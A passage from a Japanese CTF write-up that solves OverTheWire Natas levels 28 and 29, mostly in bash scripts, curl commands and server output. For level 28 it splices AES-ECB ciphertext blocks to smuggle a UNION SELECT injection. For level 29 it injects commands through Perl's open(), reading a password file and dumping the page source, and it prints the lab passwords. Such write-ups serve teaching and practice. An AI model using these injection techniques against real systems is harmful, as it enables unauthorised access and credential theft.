0b6a395c4e9dd6bf5abba6adf6861290
75fd5044fd063d26f6bb7f734b41c899

56cS2OWOhgUK: (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
d68db66ffef12c4a0273ed0237d5850d
cf6aba32ed87a428492833ca10ae2f44
75fd5044fd063d26f6bb7f734b41c899

AOx0MO8XMf0sr: (13)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
3d0a50d76fbee7f4ab88f7feea081614
c91cc3f43ddddb8cd86c57b331e5dc05
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98

8jc06CvaQ1B0b: (13)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
356039e4c0a9741b6ce6385401c31107
0aff9f817e18a27ca2eab14732b21ac8
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98

MIZ7AAsUJ23gr: (13)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
d7e233379f3f8c48b500af744e216fde
1635550100d18552cc745933c8793445
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98

TcBJiHTtpefk34: (14)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
407fb8e6942b8efc85481b94d80de15c
1bc1792fe99771f833a77e8ad726b273
4257a343daadaaf2c0e3a1d71ce03dd1
7b7baca655f298a321e90e3f7a60d4d8

kczMLliIuKNksM: (14)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
d5e4c015068fc6ebd97e7d6f14cb45d5
cc1fc6eb5add8c7f1c2eb66bfe8f2668
4257a343daadaaf2c0e3a1d71ce03dd1
7b7baca655f298a321e90e3f7a60d4d8

fvJz5eotoJ2qju: (14)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
2b3ebde42b9a4beeff5550b74b23fc90
4abd9539cd288a87081ee01be2a45913
4257a343daadaaf2c0e3a1d71ce03dd1
7b7baca655f298a321e90e3f7a60d4d8

FD3sRlPiiNyZFRF: (15)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
84218e132d0a88d14d1d2e1586176a85
47a1971f73b444fe8949498e965909ce
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

TNIj2xXEfb5ShFm: (15)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
8adb97dee713be0cc43733df004f9f42
76d8af74b01dd170c04e43839f4c7650
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

LbK8xBVekxrfDUV: (15)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
6000ecfa9fba3822b74f3cb2db329f85
c0d364b0d001b8eb5d024784e32db0e6
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

この結果からわかるのは、

  1. 最初の32バイトは同じ
  2. 文字数が同じの場合、最後の32バイトも同じ
  3. 入力が12文字以下の場合、16バイトの部分が変化する
  4. 入力が13文字以上の場合、32バイトの部分が変化する

ということ。

まず1.と2.から、入力は中心部分の16/32バイトの部分に対応することがわかる。

また3.と4.からは、平文を16バイト単位のブロックに分割して、最後の余った部分をパディングする形で暗号化しているのではないかと予想できる。13文字目を挟んだときに溢れた最後の文字に新たなブロックが使われるわけだ。

さらに1.と2.から暗号化はブロックごとに独立して行われていることがわかる。

2.の文字数が変わったときに最後の32バイトが変わってしまうのは、単純に中心のブロックの文字数が増えればその分後のブロックにずれ込んでくるからだろう。

3.と4.の性質を利用すると次のようなこともわかってしまう。

#!/bin/bash

random() {
    LC_ALL=C tr -dc A-Za-z0-9 </dev/urandom | head -c "$1"
}

query() {
    local q
    q=$(curl -s -u natas28:skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4 -I -w '%{url}\n' "http://natas28.natas.labs.overthewire.org/?query=$1" | grep search.php | cut -d ' ' -f 2- | cut -d '=' -f 2)
    q=$(php -r "echo urldecode(trim('$q'));")
    echo "$q" | base64 -d | xxd -p | tr -d " \n" | fold -w 32
}

for c in \\ '"' "'"; do
    i=11
    p=$(random "$i")
    echo "$p: ($i)"
    query "$p"
    printf "\n\n"
    echo "$p$c: ($((i+1)))"
    query "$p$c"
    printf "\n\n"
done
~$ ./test.sh
g7rhv1oOxfA: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
48788545a0ff2937879e395ad0cf31cb
36336947ddff073d132c22391e655108
ca8cf4e610913abae39a067619204a5a

g7rhv1oOxfA\: (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
48788545a0ff2937879e395ad0cf31cb
4b25775f3b878d43429a1a8a6a0ded7f
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98

GeOGYKjcZ91: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
f80daef211c116a2c36d2f0e87a9a36a
cb3763bf428d6a85ec7d704a50e9735d
ca8cf4e610913abae39a067619204a5a

GeOGYKjcZ91": (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
f80daef211c116a2c36d2f0e87a9a36a
dfa7bf6d5415617aa5967885b20f1792
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98

SYqcWJNLY3N: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
75d488a0a19ecec65db9eaea54aa3873
f14653dd6ffca148677db36f700bbe61
ca8cf4e610913abae39a067619204a5a

SYqcWJNLY3N': (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
75d488a0a19ecec65db9eaea54aa3873
d84deb9a6427e6f15a7fa82ac636c94b
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98

入力はすべて12文字以下であるのにも関わらず、\'"が追加したものはそうでないものと比べて16バイト増えている。

ここから\'"に対してエスケープ文字が挿入されていることが推測できる。

さらにもう一つ確認しておくべきなのは、入力が4番ブロックに溢れる文字数は何なのかということ。

#!/bin/bash

random() {
    LC_ALL=C tr -dc A-Za-z0-9 </dev/urandom | head -c "$1"
}

query() {
    local q
    q=$(curl -s -u natas28:skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4 -I -w '%{url}\n' "http://natas28.natas.labs.overthewire.org/?query=$1" | grep search.php | cut -d ' ' -f 2- | cut -d '=' -f 2)
    q=$(php -r "echo urldecode(trim('$q'));")
    echo "$q" | base64 -d | xxd -p | tr -d " \n" | fold -w 32
}

for i in {1..15}; do
    p=$(random 15)
    for l in + -; do
        p=${p:0:i-1}$l${p:i}
        echo "$p: ($i)"
        query "$p"
        printf "\n\n"
    done
done
+vLPI1qv8Tdw986: (1)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
2424de0403bfdf2ff1447bfbab4d2090
7795c91219d7fca9f83412869c2fec44
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

-vLPI1qv8Tdw986: (1)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
cf9bfc0a2ed30b1050f2c558417e66ca
7795c91219d7fca9f83412869c2fec44
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

g+BBeDCHT1g1EoA: (2)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
7d6368b5cb5bf9646c8dac3e1c9c1058
5a4b8bae4856aca5eaa5135621982993
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

g-BBeDCHT1g1EoA: (2)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
672cc4c8abb546f07cf86791b3138ef0
5a4b8bae4856aca5eaa5135621982993
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

Ra+wYnDNJDrB2IL: (3)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
a71731d7dd1cd1ae88811cfb5e83de53
b7c34bcc612991e83eb4cef17f9bea9d
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

Ra-wYnDNJDrB2IL: (3)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
1c1a5cd69938c58ebb162efbf316fa0d
b7c34bcc612991e83eb4cef17f9bea9d
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

PiP+AGm4N56qnxr: (4)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
219f0b2ab452444e4db70f145a89da60
5b6d2c9fd3c157f9b15d19578a163743
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

PiP-AGm4N56qnxr: (4)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
adf5776f36b3f3b80106714959c2e8da
5b6d2c9fd3c157f9b15d19578a163743
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

zqTJ+cPyqUjQvqr: (5)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
837b25c84e5687c34fb3576c67bc946f
7062a3df536aa8fe6e03b8395f053c21
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

zqTJ-cPyqUjQvqr: (5)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
d773052f7ca0cc14c22b31f379b7fe07
7062a3df536aa8fe6e03b8395f053c21
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

ql2pl+4b1JF7Iy2: (6)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
314ecb9b46bdc7ffe7226f2e557bc15d
f8adb66442fe1839e692ba6e4e1b7d24
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

ql2pl-4b1JF7Iy2: (6)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
4fbb8620b6127b653c2b81c1a9b00009
f8adb66442fe1839e692ba6e4e1b7d24
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

UjU6pt+bG6PBtYV: (7)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
b3b9b8d3d2dcfb5f4a3b123330724a04
0a90b3b4fe6857f2414ad9bb871300cc
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

UjU6pt-bG6PBtYV: (7)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
88d1ec3267567642745dbb95dae8320f
0a90b3b4fe6857f2414ad9bb871300cc
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

soayN3D+JZYww4M: (8)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
8a4f43b644413d4276da132e34b89dee
6f9d8369dbae0cad2656a84a88ccb8ff
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

soayN3D-JZYww4M: (8)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
8a7e0c53b2905616a6aa63aa82b66ca0
6f9d8369dbae0cad2656a84a88ccb8ff
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

UtakWp8B+OnNjO2: (9)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
a266c28fed23d3e73a441ffb7981e1d5
52f6d8846960305bf25809ce21c9db09
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

UtakWp8B-OnNjO2: (9)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
227b644ef34d9dc8f5726cb9926cee7d
52f6d8846960305bf25809ce21c9db09
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

MobZLcFcM+wG8P6: (10)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
4bf941f06db48b7d92b71328bd640e21
3acaf2f390497245f5b447d272eebdf4
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

MobZLcFcM-wG8P6: (10)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
65e7a8cd0374e5748d95b4542006ff9e
3acaf2f390497245f5b447d272eebdf4
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

MCulq50jXu+H9ti: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
57c3685e2d5b0adbd5e4e1513ba7db43
41f2ac1f122846bb08fdb23986804988
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

MCulq50jXu-H9ti: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
57c3685e2d5b0adbd5e4e1513ba7db43
0dbfae113f40b499f855dd5df89562db
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

W2j3DnQcAwK+byX: (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
714321e856228c9b34698dfa3269fc17
5b624a268a8a414a816fbaae0eb66c95
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

W2j3DnQcAwK-byX: (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
714321e856228c9b34698dfa3269fc17
ef3b4b0238cfe64b067d069021d4b30f
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

wOnJaF2i0O2W+4N: (13)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
ccb00681de3ff8f1cc97d94435597c49
f1e18319493204fd2fb54970447b3b11
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

wOnJaF2i0O2W-4N: (13)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
ccb00681de3ff8f1cc97d94435597c49
ccdf5fde1b4fc69a973f713a51443736
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

O5qZjbPeswMXf+r: (14)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
8829a1290cf1cb14c751ca8c09d17b5b
eee024dda4d140bd382dedc016a6f728
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

O5qZjbPeswMXf-r: (14)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
8829a1290cf1cb14c751ca8c09d17b5b
c2d37aff95ab5fe8a8952e3031c21896
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

gIJBwfgdD4N3B8+: (15)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
b4b64bcbadd3165dec31fd6da3652a42
85c8313585b8d955099f4cfb84acb724
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

gIJBwfgdD4N3B8-: (15)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
b4b64bcbadd3165dec31fd6da3652a42
05f768e3641970761473533adf46f6df
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4

10文字目までの変化は3番ブロックに現れていたのに対して、11文字目からの変化は4番目ブロックに現れている。

よって10文字目区切りだということがわかる。

ここでようやく天才をする準備が整いました。

まず、テーブルがおそらく違うので'where句を閉じたあと、UNION ALL SELECT * FROM users #のようなクエリを入れたい。

ただこのままだと'エスケープされてしまうので、入力が始まる3番ブロックと4番ブロックの境目を利用する。

次のような平文を投げると、

3番ブロック:元からあるクエリ + XXXXXXXXX'(10文字) 4番ブロック以降:UNION ALL SELECT password FROM users #(38文字)+ 元からあるクエリ

このようにエスケープされた暗号文(1)が返ってくる。

3番ブロック:元からあるクエリ + XXXXXXXXX\(10文字) 4番ブロック以降:'UNION ALL SELECT password FROM users #(39文字)+ 元からあるクエリ

ここで、事前に

3番ブロック: 元からあるクエリ + XXXXXXXXXX(10文字) 4番ブロック以降:XUNION ALL SELECT password FROM users #(39文字)+ 元からあるクエリ

といった平文に対応する暗号文(2)を入手しておけば、

(1)の4番ブロックと(2)の13番ブロック+5番ブロックを組み合わせて、

3番ブロック: 元からあるクエリ + XXXXXXXXXX(10文字) 4番ブロック以降:'UNION ALL SELECT password FROM users #(39文字)+ 元からあるクエリ

といったクエリの暗号文(3)が作れる。

(1)と(2)でクエリ全体の文字数は同じなので、(1)の最初と最後の32バイトをそのまま使いまわせるからだ。また万が一'UNION ALL SELECT password FROM users #XUNION ALL SELECT password FROM users #の部分でさらにブロックの境目があったとしても、両者は先頭以外同じなので問題ない。

(1)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
89752fa1b878b408d9ea29aea99a296d
a7225170488029e31dd82be2c40d7c7a
8dd4afcc52d19b0d062c9434d0fa3201
0c4ff5250462186c20f3db1f555f03ce
bdfa1054ec68515cf96f2a5544591947
904f4b2abf2c2d7686aa72a53151c970

(2)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
e713d92266ef6b6a64803c9344c4d6f0
6540bbd5fbd88f7b5d07f1c2a9853d59
8dd4afcc52d19b0d062c9434d0fa3201
0c4ff5250462186c20f3db1f555f03ce
bdfa1054ec68515cf96f2a5544591947
904f4b2abf2c2d7686aa72a53151c970

(3)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
e713d92266ef6b6a64803c9344c4d6f0
a7225170488029e31dd82be2c40d7c7a
8dd4afcc52d19b0d062c9434d0fa3201
0c4ff5250462186c20f3db1f555f03ce
bdfa1054ec68515cf96f2a5544591947
904f4b2abf2c2d7686aa72a53151c970
~$ echo 1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2e713d92266ef6b6a64803c9344c4d6f0a7225170488029e31dd82be2c40d7c7a8dd4afcc52d19b0d062c9434d0fa32010c4ff5250462186c20f3db1f555f03cebdfa1054ec68515cf96f2a5544591947904f4b2abf2c2d7686aa72a53151c970 | xxd -p -r | base64 | xargs -I input php -r "echo urlencode('input');"
G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPLnE9kiZu9ramSAPJNExNbwpyJRcEiAKeMd2CvixA18eo3Ur8xS0ZsNBiyUNND6MgEMT%2FUlBGIYbCDz2x9VXwPOvfoQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D
~$ curl -s -u natas28:skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4 "http://natas28.natas.labs.overthewire.org/search.php?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPLnE9kiZu9ramSAPJNExNbwpyJRcEiAKeMd2CvixA18eo3Ur8xS0ZsNBiyUNND6MgEMT%2FUlBGIYbCDz2x9VXwPOvfoQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D"
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas28", "pass": "skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4" };</script></head>
<body>
<!-- morla/10111 -->
<h1>natas28</h1>
<style>
ul {
  margin: 1em 0;
  padding: 0 0 0 40px;
}

li {
  margin: 1em 0;
}
</style>
<div id="content">
<h2> Whack Computer Joke Database</h2><ul><li>pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno</li></ul>
</div>
</body>
</html>

長かった、、、

冗談抜きで丸二日かかった。やばすぎる。

パスワード:pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno

Level 29 to 30

ドロップダウンで色々と選べるようになっている。

表示されている内容は、めっちゃPerlなこと以外は関係なさそう。

http://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground+5のように、GETのfileパラメータに選んだ値が渡されているよう。

perlがコマンドなのでは?と思いpwd%0Aを渡してみたがそうではないみたい。

curl -u natas29:pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno 'http://natas29.natas.labs.overthewire.org/index.pl?file=pwd%0A'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas29", "pass": "pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">

<style>

#content {
    width: 1000px;
}
pre{
    background-color: #000000;
    color: #00FF00;
}

</style>

<h1>natas29</h1>
<div id="content">
H3y K1dZ,<br>
y0 rEm3mB3rz p3Rl rit3?<br>
\/\/4Nn4 g0 olD5kewL? R3aD Up!<br><br>

<form action="index.pl" method="GET">
<select name="file" onchange="this.form.submit()">
  <option value="">s3lEcT suMp1n!</option>
  <option value="perl underground">perl underground</option>
  <option value="perl underground 2">perl underground 2</option>
  <option value="perl underground 3">perl underground 3</option>
  <option value="perl underground 4">perl underground 4</option>
  <option value="perl underground 5">perl underground 5</option>
</select>
</form>

<pre></pre><div id="viewsource">c4n Y0 h4z s4uc3?</div>
</div>
</body>
</html>

Perlは沼りそうなので大人しくヒントを見ることに。

https://ivanitlearning.wordpress.com/2020/02/02/overthewire-natas2729/

fileパラメータに|ls%00をセットしている。なんだこれ。

どうやらPerlopen関数はファイル名以外にも| + コマンドという形でコマンドを実行することも可能とのこと。

https://perldoc.perl.org/functions/open

If MODE is |-, then the filename is interpreted as a command to which output is to be piped, and if MODE is -|, the filename is interpreted as a command that pipes output to us. In the two-argument (and one-argument) form, one should replace dash (-) with the command.

でもこれだと|を後につけなきゃいけないのでは?なぜリンクの記事では前につけてうまくいったのだろう。

ただよく見るとこうも書いてあった。

https://perldoc.perl.org/perlipc#Using-open%28%29-for-IPC

In the two-argument form of open(), a pipe open can be achieved by either appending or prepending a pipe symbol to the second argument.

なるほど。つまりopenの引数が二個の場合は|は前でも後でもいいみたい。

ややこしい。

まあとにかくこれで好きなコマンドを実行できるようになったので、|%20cat%20/etc/natas_webpass/natas30%0Aで投げてみる。%0Aは改行文字なので%00でもいけるはず?

~$ curl -u natas29:pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno 'http://natas29.natas.labs.overthewire.org/index.pl?file=|%20cat%20/etc/natas_webpass/natas30%0A'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas29", "pass": "pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">

<style>

#content {
    width: 1000px;
}
pre{
    background-color: #000000;
    color: #00FF00;
}

</style>

<h1>natas29</h1>
<div id="content">
H3y K1dZ,<br>
y0 rEm3mB3rz p3Rl rit3?<br>
\/\/4Nn4 g0 olD5kewL? R3aD Up!<br><br>

<form action="index.pl" method="GET">
<select name="file" onchange="this.form.submit()">
  <option value="">s3lEcT suMp1n!</option>
  <option value="perl underground">perl underground</option>
  <option value="perl underground 2">perl underground 2</option>
  <option value="perl underground 3">perl underground 3</option>
  <option value="perl underground 4">perl underground 4</option>
  <option value="perl underground 5">perl underground 5</option>
</select>
</form>

meeeeeep!<br><div id="viewsource">c4n Y0 h4z s4uc3?</div>
</div>
</body>
</html>

なんかダメだった。

index.plの中身をみてみる。

~$ curl -u natas29:pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno 'http://natas29.natas.labs.overthewire.org/index.pl?file=|%20cat%20index.pl%0A'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas29", "pass": "pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">

<style>

#content {
    width: 1000px;
}
pre{
    background-color: #000000;
    color: #00FF00;
}

</style>

<h1>natas29</h1>
<div id="content">
H3y K1dZ,<br>
y0 rEm3mB3rz p3Rl rit3?<br>
\/\/4Nn4 g0 olD5kewL? R3aD Up!<br><br>

<form action="index.pl" method="GET">
<select name="file" onchange="this.form.submit()">
  <option value="">s3lEcT suMp1n!</option>
  <option value="perl underground">perl underground</option>
  <option value="perl underground 2">perl underground 2</option>
  <option value="perl underground 3">perl underground 3</option>
  <option value="perl underground 4">perl underground 4</option>
  <option value="perl underground 5">perl underground 5</option>
</select>
</form>

#!/usr/bin/perl
use CGI qw(:standard);

print <<END;
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas29", "pass": "pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">

<style>

#content {
    width: 1000px;
}
pre{
    background-color: #000000;
    color: #00FF00;
}

</style>

<h1>natas29</h1>
<div id="content">
END
#
# morla /10111
# '$_=qw/ljttft3dvu{/,s/./print chr ord($&)-1/eg'
#
# credits for the previous level go to whoever
# created insomnihack2016/fridginator, where i stole the idea from.
# that was a fun challenge, Thanks!
#

print <<END;
H3y K1dZ,<br>
y0 rEm3mB3rz p3Rl rit3?<br>
\\/\\/4Nn4 g0 olD5kewL? R3aD Up!<br><br>

<form action="index.pl" method="GET">
<select name="file" onchange="this.form.submit()">
  <option value="">s3lEcT suMp1n!</option>
  <option value="perl underground">perl underground</option>
  <option value="perl underground 2">perl underground 2</option>
  <option value="perl underground 3">perl underground 3</option>
  <option value="perl underground 4">perl underground 4</option>
  <option value="perl underground 5">perl underground 5</option>
</select>
</form>

END

if(param('file')){
    $f=param('file');
    if($f=~/natas/){
        print "meeeeeep!<br>";
    }
    else{
        open(FD, "$f.txt");
        print "<pre>";
        while (<FD>){
            print CGI::escapeHTML($_);
        }
        print "</pre>";
    }
}

print <<END;
<div id="viewsource">c4n Y0 h4z s4uc3?</div>
</div>
</body>
</html>
END
<pre></pre><div id="viewsource">c4n Y0 h4z s4uc3?</div>
</div>
</body>
</html>

